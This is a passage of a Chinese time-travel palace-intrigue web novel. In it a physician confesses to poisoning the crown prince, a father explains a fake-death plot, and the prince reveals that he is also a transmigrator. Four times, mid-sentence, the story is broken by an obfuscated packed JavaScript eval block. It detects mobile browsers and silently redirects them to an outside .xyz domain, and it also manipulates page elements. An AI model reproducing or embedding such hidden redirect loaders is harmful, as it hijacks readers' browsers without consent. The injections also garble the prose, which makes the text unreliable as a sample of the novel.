吴大夫缓缓睁开眼睛,仿佛下定了什么决心。他端起茶盏轻抿一口,然后开口道:“既然人都到齐了,我也没什么可隐瞒的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698864|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。这件事我本该带进坟墓的,但如今无所谓了。” “这辈子,我见过两个人服了断魂散还能活过来的人。一个是叶斯年,而另一个——是太子。” 叶思楠心头猛地一震,脑中警铃大作,却没有出声打断。 “八年前,太子十岁,有人暗中图谋加害,找到我作为帮凶。当时我尚在太医院任职,那人将断魂散交至我手中。据说此药一旦入口,必然毙命。然而,事情却出乎所有人的预料——太子竟奇迹般地活了下来。当宫中传来太子安然无恙的消息时,我便明白,我的死期已然不远。” 他顿了顿,仿佛沉浸在那段险象环生的往事中,目光深邃,透出一丝苦涩:“我很清楚,一旦卷入这场权力的旋涡,就不可能全身而退。想要活命,唯有孤注一掷。” “我进宫求见皇后,说自己不忍毒杀太子,可他们挟持了我的家人,于是我便用了与断魂散颜色、味道相同的涅槃散——这种假死药,服下后四个时辰便可苏醒。我为了取信于皇后,当着她的面亲自服下涅槃散,果然陷入了假死状态,四个时辰后如期醒来,与太子的情况一模一样。” “我跪求皇后开恩,放过我和我的家人。皇后彼时对失而复得的太子喜出望外,非但没有责罚我,反而嘉奖于我,并让我指证陷害太子之人。那些人一夜之间被抄家灭族,无一幸免。” 他说到这里,缓缓抬起眼,目光沉重:“可没有人知道,我给太子服下的,的确是断魂散……” 叶思楠的心跳愈发急促,一种不祥的预感在心头盘旋,挥之不去。 吴大夫长叹一声,颤抖的声音中满是忌惮:“太子的脉象自那时起就彻底改变,仿佛换了一个人……但皇后毫无察觉,我不敢说。”他转过身,凝视着眼前的叶斯年,声音低沉而复杂:“后来,我竟在你这孩子身上,发现了同样的脉象……” 吴大夫的声音低沉下来,仿佛在回忆那些年缠绕心头、至今未解的谜团:“脉象的变化究竟意味着什么,我始终无法参透,也不敢探究。无奈之下,只能借辞官云游之名安置家人,同时四处寻找答案。然而,多年过去,一无所获。” “此次回到瑶京,是奉圣人之召入宫。她知我曾为叶府小姐诊过脉,命我据实相告。我别无选择,却也不敢提及脉象异变,唯恐这是试探,只得含糊其辞,称年幼时的叶斯年脉象本就不稳。” “皇后娘娘绝不会容许未来的太子妃有任何瑕疵。世家中流传叶府嫡女患癔症、言行失常的传闻,圣人自然知晓。然而,她的选择仍是宁安王的嫡女。” 吴大夫缓缓起身,看向叶绍和叶思楠:“圣人料事如神,叶将军果然找到了我。” 说到这里,他眼神中透出一丝绝望:“我给了你断魂散,本以为一切结束了,可叶斯年竟然活了过来……和太子当年一样,她的脉象也变了。我知道自己活不成了——忤逆皇后是死,当年欺骗她也是死。如果让皇后知道太子的真相,我更是死无葬身之地。苟活多年,我也累了。” 吴大夫长叹一声,眼中流露出深深的疲惫与解脱:“我一生行医,救人无数,断魂散用了两次,都没把人送走。这次,就让我自己喝一个吧。” 叶思楠和叶绍对视一眼,心中一紧,立刻意识到吴大夫已经决意自我了断。吴大夫摆了摆手,神情淡然:“快走吧,皇后的人应该很快就到了。别浪费时间,我也没什么好交代的。” 他端起茶盏,指尖虽有些颤抖,却依然稳稳地将茶送至唇边。仿佛就在这一刻,他终于放下了一生的重担。窗外夜风轻拂,撩动帘角,也只有无边夜色在为这位白发苍苍的医者哀悼。 三人朝吴大夫行了个礼,翻上屋后的院墙,藏身于黑暗之中。就在这时,他们看到几道人影如鬼魅般闪入屋内。叶绍立刻伸手捂住了叶思楠的双眼。紧接着,屋内传来沉闷的“噗嗤”声,那是刀刃割裂血肉的声音。 4. 她的父亲 夜色深沉,三人在无声的恐惧中前行,每一步都仿佛踏在刀刃上。回到叶府后,叶思楠顿时像泄了气的气球般瘫软在地。青枝连忙搀扶住她,一步一步将她带向叶绍的书房。 叶绍站在门口,眼神冰冷,语气中带着责备:“胡闹!你们知道今晚有多危险吗?!” 青枝一向对叶绍心怀敬畏,此刻却不再有半分畏惧。她挺直腰板站在他面前,脸上挂满泪痕,却倔强地不肯低头。她与叶斯年虽是主仆,却情同姐妹。真相已经水落石出,她再也无法压抑心中的委屈与愤怒,一切情绪如潮水般奔涌而出。 叶思楠调整了一下混乱的心绪,扶着书案慢慢站直,声音因愤怒而微微发颤:“是你让她喝下的药,对吗?” 叶绍眉头紧锁,没有作答,眼神中闪过一丝复杂。 青枝咬紧嘴唇,双拳紧握,泪水如断线的珠子般止不住地滑落:“娘子以为自己今晚就能醒过来的!” 叶思楠的呼吸愈发急促,身体微微发抖,愤怒与痛苦在她心头交织成一股无法遏制的情绪。她指着叶绍,声音愈发尖锐:“什么涅槃散、断魂散,听着就要人命!你怎么敢让自己的女儿喝下这种东西?!” 叶绍的脸色沉了下来,没有反驳。这些指责如千斤重担压在他的心头,让他无力开口辩解。 叶思楠冷笑一声,目光冰冷如刀,语气中满是绝望与愤怒:“大家心里都清楚,斯年死了。” 叶绍的眼神深沉如古井,在黑暗中难以窥探他的真实情绪。此刻的他宛如一位铩羽而归的老将,眉宇间交织着不甘与疲惫。书房内一片寂静,唯有微风轻拂烛火,发出细微的声响,摇曳的光影在他脸上跳动不定。他的情绪也随之忽明忽暗。 叶绍面向窗外无尽的黑暗,缓缓开口:“自从张公公进府递了请帖,我就知道麻烦来了。盯着太子妃之位的世家何止一两个?皇后的心思,更是深不可测……” “我领兵多年,经历过无数生死,连嫡子都殒命沙场。如今圣恩浩荡,这其中的凶险,我又岂能不明白?” 叶思楠静静地听着,脑海中不由自主地浮现出叶绍在战场上浴血奋战的无数画面。他冷峻如铁,却也无法逃脱丧子之痛的折磨。而与此同时,李大夫人终日以泪洗面的身影也在她的脑海中若隐若现——那个失去孩子的母亲,形销骨立、泣不成声的模样,让她心头一紧。 “承泽与清荣相继离世,对我打击极大。战事频繁,我顾不上内宅的琐事,没想到竟让周氏在府中胡作非为。” 他微微仰头,眼中隐隐透出些许疲惫与悔恨:“我一心只想着建功立业,安邦定国,让百姓免于战乱之苦,以自己一身功名足以护家人周全。可我没想到,斯年没有等到获封郡主……” “周氏虽持家多年,但始终是见识短浅的妇人,还以为皇后赐请帖是天大的荣幸,推着瑾年往上挤。” 叶绍的神色愈发沉重,语气中带着难以掩饰的忧虑:“这些年,她打压斯年,一方面是为了抬高瑾年,另一方面是怕斯年若在外闹出什么糗事,她无法收场。真让她下狠手,她终究是不敢的。可皇后……皇后不一样。” 他停顿片刻,目光冷峻而深邃:“你们根本不知道她有多可怕。” “当年谢家陷害太子,谋逆的罪名压下去,满门抄斩。谢贵妃就是她亲手处置的。她不会容忍任何可能威胁到太子的存在。” 叶思楠心头一沉,这一切似乎越来越清晰。“所以你才找了吴大夫要涅槃散?”她问道。 叶绍微微点头,声音中透出深深的疲惫与无奈:“皇后暗中召见了周氏,她回来后魂不守舍,我一问便知道了其中缘由。皇后要的不是斯年这个人,而是她的身份。你以为她真的就想要瑾年吗?” 听到这里,叶思楠不由得背脊发凉。皇后要的是一个代表了几个家族利益的傀儡,把所有人都牢牢绑在太子这艘船上。 皇后告知周氏,让叶瑾年顶替叶斯年。这不仅可彻底消除太子妃可能存在的隐患,稳固李家与叶家的关系,更能将周氏的母族周家拉入局中,可谓一举三得。 皇后要的,是如今的叶太尉和李家的后人,至于谁顶着这个名号入宫,并不重要。只要叶家认了,李家认了,皇后也认了,还有谁敢质疑? 她要斯年死,斯年就必须死一次给她看——只有这样,才能彻底打消她心中的疑虑。 叶绍继续讲述这其中叶思楠不知的事。“我多年来四处征战,曾听闻过涅槃散的奇效,恰巧吴大夫回京,于是我便找上他。可我没想到他竟是皇后的人,更未料到皇后如此狠毒。她不仅算准了周氏懦弱的性子会露出马脚,更料定我会找吴大夫求药,这一切都在她的掌控之中。” 叶绍神情哀伤,背过身继续讲述:“我本计划等斯年假死后,把她安排进军中,待在我身边。她自己也同意了这个安排。她说过,不喜欢深闺的束缚,想看看外面的世界。那天我特意请来了瑶京城的名医,甚至进宫请了太医,为了确保万无一失,还把吴大夫也请来了。我就是想让所有人看到——叶府‘死’了一个女儿。等众人散去,再对外宣称瑾年病逝。” 他说到这里,眼神中浮现一丝悔意:“可那天你提前醒来,吴大夫的表现太过镇定。入夜后,我立刻去了他的住处。没想到刚进门,他竟直接说,要再等一个人。想来,他为你把脉时,就已经察觉你不是斯年。而太子的脉相之变,他也终于得出了答案。” 叶绍的语气沉了几分,带着难以言说的复杂情绪:“只是,这个答案,他注定要永远带进坟墓。” “皇后的布局太深了……前几日礼部已经奏请册封郡主一事,所以她才急着召见周氏。只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698865|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾年以斯年的身份接下圣旨,一切就都按照皇后的计划走了。” 叶思楠强迫自己冷静下来,沉声分析道:“眼下的情况是,斯年和瑾年都安然无恙。周氏企图用涅槃散蒙混过关,这一步是在她预料中的。然而,吴大夫也没按皇后的指示使用断魂散。吴大夫已经被皇后处决了,周氏该怎么办?况且,我醒来的时间并非涅槃散药效的四个时辰。即便皇后不知具体下药的时间,叶府也不可能糊涂到让本该死去的人在众目睽睽之下,当着大夫的面活过来。这件事要怎么处理?” 叶绍沉吟片刻,眉头微蹙,缓缓开口:“吴大夫当时服下了断魂散,但即便如此,皇后的刺客仍不肯放过他。这足以说明,皇后对他已起必杀之心。吴大夫服毒可以被视作畏罪自尽,而眼下的关键在于周氏。她完全可以辩称自己因怕闹出人命,只用了半量药物,才导致斯年提前醒来。明日,周氏必须入宫,将事情全盘交代清楚。如今叶府正受圣宠,皇后断然不敢一而再地轻举妄动。” 叶思楠点头,认可了叶绍的推断。叶绍沉声道:“这几日多和瑾年一同出门走动,让瑶京城的人看到你们姐妹和睦相处。” 听到这里,叶思楠不由心头一阵酸楚。斯年竟在对未来和自由满怀希望之际,悄然离世,无声无息地告别了这个世界。 “在周氏和瑾年面前,我们也只能装作斯年是吃了涅槃散但是提前醒来。”他神情愈发凝重,声音低沉而郑重:“你的身份牵涉到太子的秘辛,现在还不清楚皇后到底知不知情。以防万一,还是不能让人察觉你的异常。” 他说完顿了顿,沉默片刻,犹豫着问道:“能告诉我,你来自哪个年代吗?” 叶思楠静静地看着他,生怕他无法接受事实,小心翼翼逐字逐句地说:“我来自另一个世界,一千年后的时光。” 叶绍是久经沙场的宁远将军,如今更是威震天下的叶太尉、新封的宁安郡王。然而此刻,他看起来苍老了许多。那张在战场上都镇定自若的脸上,此刻写满了哀伤与无奈。他深深凝望着叶思楠,眼神中透着复杂的情感,既有父亲的疼惜,又有将军的隐忍。他的声音带着几分疲惫,却坚定如山:“如今你以斯年的身份活在这个世界,你就是我的女儿。无论前路如何,我都会护你周全。” 她没想到叶绍会这么快接受这个事实,甚至还能平静地接受她以他女儿的身份继续活下去。或许是最近事情太多,人已经被磨得麻木了,恐惧和惊讶都化作了钝感,再离奇之事只能泰然处之。 叶思楠猛地想起自己遗漏了一件重要的事。她目光一凝,语气坚定地说道:“现在不管皇后愿不愿意,我都必须进宫一趟。这位太子,我必须会一会。” 叶绍微微一顿,眼底闪过一抹复杂的哀伤。他张了张嘴,似乎想说什么,却最终只是化作一声长长的叹息。 5. 天皇贵胄 叶思楠与青枝一起回了屋休息。 她不敢入睡。她很清楚如果自己真的陷入脑死亡,家人很快就会放弃她的生命,那她就真的再也回不去了,而叶斯年——无论她是否已经死去,都将彻底消失。 她在半梦半醒间坠入一个漫长的梦境,仿佛跌入无尽黑暗的无底深渊,所有声音都被吞噬,唯有断断续续的滴滴声在耳畔回荡。她的身体像被无形的力量拖向深海,越陷越深,四肢僵硬,动弹不得。那机械般的滴滴声在黑暗中被无限放大,尖锐刺耳。她的意识在恐惧与焦虑中逐渐涣散,仿佛晚风中的烛火,随时都会熄灭。 她猛地睁开双眼,全身已经被冷汗浸透,心跳如擂鼓般在胸腔中震动。她环顾四周,发现自己依然身处叶斯年的房间,已是午膳时分,是青枝将她唤醒。叶思楠睁开眼,望着爬上窗棂的阳光,一时分不清自己是从噩梦中醒来,还是仍在梦境中。 “皇后一早便宣了周姨娘入宫,周姨娘也按将军的安排如实应对。”青枝低声汇报。“皇后没有为难她,只说她心慈手软,错失了周家和瑾年的良机。还让周氏转告将军,皇后无意与叶家为敌,本意只是担心娘子的怪病,才多加留意。” 青枝斟酌片刻后又补充道:“皇后说,作为朝廷的太尉和郡王,将军若有一位染病的郡主,只怕对将军的声誉也无益。她还说,只要娘子安然无恙,往后大家合作无间便是。” 叶思楠静静地听着,心中不禁感叹:叶绍果然是有魄力的将军,疑人不用,用人不疑。这些足以掉几次脑袋的隐秘之事,他竟能毫无保留地告诉青枝。在眼下的局势中,信息对称是降低风险的最佳方式。古代传递消息的效率本就低下,一旦藏着掖着,反而更容易酿成大祸。 青枝熟练地梳理着她的头发。进入这个世界已经多年,她依旧不太习惯叶斯年这如墨般茂密的长发,总觉得束在头上沉甸甸的。叶思楠从铜镜中瞥了一眼,抬手理了理鬓边的发丝。 叶斯年如今十六岁,与叶思楠的十六岁确实有些相似。然而,那时的叶思楠正埋首于“五年高考三年模拟”的题海之中,身心俱疲,属实是累丑了。 叶斯年困在深闺小院,自幼饱读诗书,浑身透着一股淡淡的书卷气。常年习武的她,眉眼间也有几分英气,整张脸透着一股不服输的韧劲,但仍未褪去少女的稚气。真是个美好的女子,比自己的十六岁好太多了。 她思索着方才青枝所言皇后的话,听似温和,却让她隐隐感到不安。她想不出具体哪里不对,但直觉告诉她皇后给她带来的危机还未解除。 不久后,叶瑾年来到了她房中。平日里,她们少有交集,只记得瑾年总是乖巧沉默,如影随形地跟在周氏身后。自从李大夫人六年前去世后,叶斯年便几乎不再参加各芳席雅会。若真要让瑾年顶替叶斯年的身份,凭着她们的几分相似容貌,恐怕也不会引来旁人的质疑。 “阿娘已经给阿姐安排了新的住处。以前是阿娘不对,我也不敢忤逆她。知道阿娘这次居然想让我顶替阿姐,我吓坏了。幸好阿姐醒来,不然我真不知道该怎么办。”瑾年的眼眶泛红。 想起叶绍的嘱咐,她柔声说道:“这几天你多陪我出门走走吧。” 瑾年闻言立刻露出了笑容,眼里闪烁着泪光:“我早就想和阿姐一起出去玩了!”她兴致勃勃地列举着瑶京的好去处,“我要带阿姐去最热闹的街市、最有名的茶馆,还有湖畔花园。” 瑾年一脸天真,叶思楠实在不忍用恶意去揣测这个十五岁的女孩。但周氏,却是她无论如何都无法原谅的。面对周氏殷勤的好意,她借口即将搬往新的府衙,委婉地推辞了。 午后,两人挽着手走出叶府。临近中秋,瑶京的天空澄澈如洗,阳光中透着淡淡的桂花香气,将她整个人笼罩在一片柔暖中。白云清晰可见,悬浮在低矮的湛蓝天幕间,美好得不真实,像是一个楚门的世界。如果不是这两世的危机与纷争,她真想就这样躺下,让阳光晒透。 “这么久没出门了,瑶京竟然还是这么美。”叶思楠感叹道。 听到这话,瑾年鼻子一酸,泪水差点夺眶而出:“母亲总说阿姐有怪病,怕在外面犯病被人看笑话。这些年我都没见过阿姐犯病,可他们一直这样说。”她的声音里透着愧疚与心疼。 叶思楠沉默不语。她没办法替真正的叶斯年原谅这些。 两人来到瑶京最繁华的街道,街道两旁尽是琳琅满目的店铺,叫卖声此起彼伏。瑾年一路叽叽喳喳,说个不停,显然这些年在母亲的管束下憋坏了。她东看看、西逛逛,兴奋地像只欢快的小鹿。最终,她们在一家茶店歇脚。瑾年笑着说:“这是瑶京最有名的茶店。” 店小二见她们气质非凡 ,立刻迎上来,恭敬地说道:“几位娘子里面请,楼上有雅间。” 正当她们准备上楼时,门口传来一阵动静。叶思楠侧头望去,只见一位身形修长、面容俊朗的公子缓缓走进茶店。店掌柜亲自迎了上去,态度极为恭敬。显然,这位公子的身份不凡。 店内的女客们纷纷低声惊叹,目光追随着那位公子。叶斯年心中暗想,无论哪个时代,女子们见了俊朗的男子总是如此。 她没有太在意,转身准备上楼,却察觉到那位公子的目光落在自己身上,迟迟未移开。在这年代,这样直勾勾盯着一位女子看是极其失礼的。叶思楠皱了皱眉,心中暗想:这人怕不是个轻浮之徒吧。 她快步走进雅间,瑾年的侍女兰芝留在楼下安排茶饮和茶点,而青枝则提着一路收获的大包小包,跟随她们进了门。几人刚在雅间落座,没过多久,店小二便笑容满面地走了进来,双手捧着一盒精致的茶点,恭敬地说道:“这是隔壁公子送给两位娘子的。” 瑾年惊讶地眨了眨眼:“看来那位公子是对阿姐一见钟情呢!” 叶思楠微微皱眉,总觉得有些不对劲。她打开茶点盒,发现其中竟夹着一张小纸条。 她展开一看,上面赫然写着:“举头望明月” 她的心猛地一沉,全身仿佛被冰冷的寒意包裹。如此美好的一句诗,放在当下的环境,竟让她觉得毛骨悚然。 难道是太子? 她还没反应过来,便听见有人推门进来,正是方才楼下所见的那位公子。如此闯进女子的雅间,真是失礼至极。况且以他尊贵的气质,即便不是太子也是世家公子,怎会如此鲁莽。 青枝立刻抽出藏在袖中的短刀,稳稳地摆出防备架势。对方的侍从见状,也迅速上前,握住刀柄,彼此间的剑拔弩张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698866|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间蔓延开来。瑾年被这场面吓得脸色发白,尽管瑟瑟发抖,却还是跨步挡在了叶斯年身前,声音微颤地说道:“我们是宁安王府的娘子!你们怎能如此无礼!” 本以为瑾年会说出什么狠话,结果这语气颤颤巍巍的,倒像是小猫哈气,毫无威胁可言。看着她一边紧张得发抖,一边勉强逞强的模样,叶思楠差点忍不住笑出声来。 她伸手轻轻将瑾年揽在身后,藏在袖中的指虎悄然握紧,目光冷静而锐利地落在眼前的男子身上,语气不卑不亢:“不知这位公子,有何贵干?” 眼前这位公子抬手轻轻按住侍从的剑,示意他们退下,神色平静温和,却透出一股不容置喙的威严。他语气淡然,从容不迫,目光从瑾年身上掠过,最终停在叶斯年身上,眼神如刀般凌厉:“宁安王府的二姑娘,本宫有所耳闻。但今日,本宫是专程来见郡主的。” 叶思楠心头微沉——果然是太子。 叶思楠神色如常,对青枝淡淡说道:“送二娘子回府。”随即转身,向太子微微行礼,恭敬地道:“斯年见过太子殿下。” 瑾年也意识到眼前这位公子的身份,眼泪在眼眶中打转,双膝一软,准备跪下求饶。叶思楠眼疾手快,一把扶住她,同时给了青枝一个眼神。 按理说,应当由兰芝护送瑾年离开,留下青枝在身边更为妥当。然而此刻让青枝先回府,正是为了让她尽快把消息传回叶绍。这件事从头到尾都没对青枝隐瞒过,她相信青枝心领神会,会明白她的用意。 她心中清楚,眼下尚无法确定皇后是否察觉太子的特殊身份,也不知两人之间是否存有芥蒂。若两人同心协力,那皇后那边恐怕早已有所动作,她必须尽快确保信息对称,以免落于下风。 青枝毫不迟疑,朝太子行了个礼,低声应道:“是。”随后,她拉着瑾年转身快步离去,没有半句废话。 雅间内,只剩下叶思楠与太子相对而坐。她心跳如鼓,既有一丝恐惧,又掺杂着难以抑制的好奇。太子神情淡然,抬手示意她落座,漫不经心地轻轻捻着那张夹在茶点中的纸条。 片刻后,他语气温和地试探道:“听闻斯年郡主自幼体弱,久居深闺,熟读诗书。本宫的这句诗,不知可否请郡主赐教,对上一句?” 他话音平静,却仿佛藏着某种深不可测的考量,叶斯年瞬间意识到这是一场试探——他果然在怀疑她的身份。可这疑心从何而起? 想到这里,一阵寒意瞬间蔓延全身。若斯年的死真是皇后与太子同谋,而太子又怀疑有人和他一样,死而复生却换了灵魂,那么眼下这番试探,便是步步惊心。一旦她的秘密暴露,就意味着她掌握了太子的隐秘。到那时,她便真的是死无葬身之地。 她很快稳住心神,脑中飞快梳理今早周氏入宫的说辞:叶斯年只服用了一半的涅槃散。她必须将这个说辞贯彻到底,绝不能暴露自己穿越的身份。但现在是个好机会,她也想借机试探眼前的太子。 叶思楠微微一笑,语气恭谨而不失从容:“太子殿下谬赞,臣女虽略读诗书,但才学浅薄,恐怕难以对出殿下的绝句。”她顿了顿,语气略显探寻,似有意试探地说道:“不过,这句诗听来隐隐透着几分思念。不知殿下所思,是哪一轮明月?” 6. 你我所望 太子的目光紧紧锁定叶思楠,语气低沉而缓缓说道:“霓虹之上,千禧之初,郡主可曾见过?” 这句话犹如一颗炸弹在她心头炸开!她感到头皮发麻,一股寒意从脊背窜上脑海。这人果然来自她的时代! 她瞬间绷紧神经,准备开口假装听不懂,然而太子淡然地接道:“那年我醒来时,一度无法接受,担心言多必失,便保持沉默。” 太子停顿了一下,意味深长地笑了笑,语气里带着冷意:“吴大夫当时的说辞,我从未信过——你也清楚为什么,对吧?” 他低头摆弄着茶具,随即抬眼朝叶思楠瞥了一眼,那眼神带着试探,犹如利剑直达她内心深处的恐惧。 叶思楠心头猛然一紧,但她强迫自己镇定,面上不见波澜。太子的目光在她脸上微微停顿,像是在细细剖析她每一个微妙的神情变化。 他仿佛在讲述一件与自己毫无干系的旧事,但笑意未达眼底,透出几分森冷:“当年吴大夫负责照料我,我察觉到他每次为我把脉时都格外慌张。我知道他发现端倪,但在那种情况下,他能保住性命已是侥幸,自是不敢言明。我那时身体一切正常,只是不敢开口。他顺势配合,为我编造了一些理由。这种心照不宣的默契,倒也维持得相安无事。” “后来他请辞离京,我便明白,他是想远离这场纷争。毕竟,他本无大错,不过是被党争裹挟的一介医官,甚至,称得上医术精湛。所以当我得知他重返瑶京时,便派人盯紧着他。谁曾想啊,皇后还是抢先了一步。” “我的人将那天的情况禀报给我,虽然没能完全听清你们的对话,毕竟叶绍在场,探子不敢靠得太近。但吴大夫畏罪自杀,皇后的人还补了一刀,以我对皇后的了解,多半是吴大夫办事不力。” 太子随手抬起茶壶,为叶斯年斟了一杯茶:“我冒险探查了皇后近日的举动……果然不出所料。那个女人还是那么蠢,还真信了周氏的话。可我却很清楚,吴大夫有胆毒害太子,怎会不敢对叶家娘子下手?于是我推断出答案——他发现了你与我当年相同的情况,也证实了他的猜想,于是他再也无法承受。” 太子的话如同一把利刃,层层剖开了掩藏在真相之下的迷雾。叶思楠心中一凛,瞬间明白,那天正是她出现在吴大夫家中,才彻底坐实了吴大夫心中那个他无法承受的猜想。 若叶斯年只是侥幸死而复生,她本应安然留在家中休养,怎会亲自找上吴大夫?吴大夫曾说过年幼的叶斯年脉相如同换了一个人——他显然早已察觉这位“死而复生”的叶家娘子能够看穿他发现异常。如此一来,他便猜测叶家可能比皇后更早要了他的命,至少也要试探他一番,正如太子几次三番对他的试探。 叶思楠感到自己心中的不安与疑惑愈发沉重,几乎到了一个承受不住的零界点。 太子依旧面不改色,深深看了叶思楠一眼,继续道:“所以我必须亲自见你一面。来到这个世界太久,有时候我也怀疑,这一切到底是不是梦,可哪边才是梦啊……” 他故作轻松地摆弄着茶具,却难掩微微颤抖的指尖和泛红的眼眶。 她勉强维持着表面的平静。眼前人同她有着相似的遭遇,但对她而言依旧是个陌生人,更无法确定他在此间八年经历了什么。俗话说“最是无情帝王家”,谁能保证他未被权力腐蚀?保不准他会为了守住太子之位,铲除一切可能知情的人。 太子见她沉默不语,仿佛早已预料到她的反应,收敛了情绪,语气淡然地说道:“我理解你的顾虑。我只是递个信给你——主动权在你。” 他的动作微微一顿,似乎斟酌了片刻,随后郑重地说道:“愿你我所望的,是同一轮明月。” 说罢,他从容起身,轻轻拂了拂衣袖,举手投足间尽显优雅与从容,仿佛已经笃定她与自己同为穿越者,也确信不会从她这里受到任何威胁。 叶思楠自从他刚进门就捏着呼吸,此刻见他起身要走,才终于微微松了口气,但脑海里依旧一片混乱。本想着中秋宴上再会一会太子,没想到却被太子先发制人。 什么狗屁的“主动权在她”,他难道真的以为自己这样就算平易近人了吗?这份属于天潢贵胄的无形压迫感,让她这个草根出身的灵魂几乎喘不过气。 她想着,如果此刻是叶斯年本人,必然会比她应对得更加淡然从容。可想到这里,她心中猛地一沉——她突然意识到一个严重的问题,心跳瞬间加快,像鼓点般砰砰作响。 太子在门后站定,微微侧身,目光在她身上停留片刻,带着几分玩味,语气平静却意味深长地说道:“中秋宴上,切忌不可直视本宫。” 话音未落,他已转身离去,步履沉稳从容,消失在雅间外的廊道尽头。而叶思楠独自坐在桌前,心潮翻涌,思绪如乱麻般纠缠不休。 她这才后知后觉,作为臣女,即便日后封为郡主,在这样的场合也绝不可直视太子的眼睛。而她方才的举止,无疑暴露了一个不属于这个时代的灵魂。 她还不是一个合格的古人,不懂礼仪规矩。而太子不同,他显然已经完全融入了这个世界,习惯了自己尊贵无比的身份。他一眼就看穿她的举止与这个时代格格不入。 想到这里,叶思楠不禁感到一阵后怕。接下来该如何应对?听上去,皇后似乎尚未察觉太子的身份,也不知道她是死而复生的。她沉思片刻,眼下最重要的是绝不能让叶绍和青枝知晓太子的身份。这件事已经超出了所有人的理解范围,在没有弄清楚太子的意图与善恶之前,绝不能将他们卷入其中。斯年生死未卜,她不让叶家因自己而陷入更深的危险与漩涡之中。 她脑海中闪过许多可能发生的情景,还没来得及细想,青枝便轻敲房门而入,随后迅速将门关上,低声汇报:“我刚送二娘子从后门走的小巷离开,没引起注意。已经把情况禀报给将军,目前一切正常。我回来有一会儿了,一直在附近盯着。太子的随从分散在周围,没有其他人盯梢。二楼的雅间都空着,估计是太子包场了。我进来时,他已经离开了。” 青枝言简意赅,条理清晰,将情况交代得明明白白。 青枝一把抓住叶思楠,上下检查她的身体,嘴里不停念叨:“没受伤吧?有没有哪里不舒服?”见叶斯年摇头,她这才松了口气。叶斯年轻轻拍了拍青枝的手,示意她冷静下来。稍作思索后,她说道:“太子听闻皇后特意邀请我参加诗词会,知道她已经在物色太子妃人选,所以来看看。也不只是我,其他几家的娘子他也看了。” 青枝捂住嘴,压低声音道:“没想到太子竟是这般轻浮之人!” 叶思楠听得差点笑出来,觉得这个评价颇为有趣。她笑了笑,故作随意地说道:“是啊,听说太子已经十八了,连个宠姬和通房丫鬟都没有,大概也是急了吧,想提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698867|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看,免得中秋宴上人多混杂,离得远了,反倒看不清楚。” 青枝顿时红了脸。思楠看着她这副模样,觉得有趣。但随即意识到,这样的话也只能在青枝面前随口调侃,放在这个讲究礼法的时代,实在有失规矩。她心中暗暗叹息:看来她还是得更谨慎些,毕竟她现在顶着叶斯年的身份。 叶思楠和青枝拎着大包小包回到叶府,刚一进门,瑾年便扑了上来,满脸焦急地问:“阿姐,你没事吧?” 叶斯年轻轻拍了拍她的肩,安抚道:“没什么事,只是聊了几句。” 瑾年皱着眉,不解地问:“太子怎么能如此鲁莽?” 叶斯年忙嘱咐她:“这话可不能乱说。太子只是对皇后心中的太子妃人选感到好奇罢了。这就像你以后定亲前,也难免会偷偷去看一眼。” 瑾年瞬间羞红了脸,扭捏着低下头,小声嘟囔:“我才不会呢……”然后就急匆匆地跑开了。 不知不觉已到了晚膳时间。这一天经历了那么多心理上的波动,叶斯年不由得感到腹中空空,饥饿感袭来。她坐在餐桌前,第一次静下心来细细品味这里的食物。每一道菜都极其精致,风味独特,口感丰富,各有千秋,让她不由得感叹这古代的美食艺术。 晚膳过后,叶思楠领着青枝前往叶绍的书房。正巧,两个兄长正在与叶绍商讨兵法之道。见叶斯年进来,叶绍借口要和她谈论册封郡主的事,便让两个儿子退下。两位兄长虽已成家立业,但在叶斯年眼中,不过是二十出头的毛头小伙。然而,毕竟都是久经沙场的将军,父子三人往那一站,还真有种令人无法忽视的压迫感。 两位兄长听到是郡主的事,立刻打趣着拱手行礼,齐声道:“郡主殿下!”叶绍皱眉,毫不留情地给了他们一人一脚:“胡闹!” 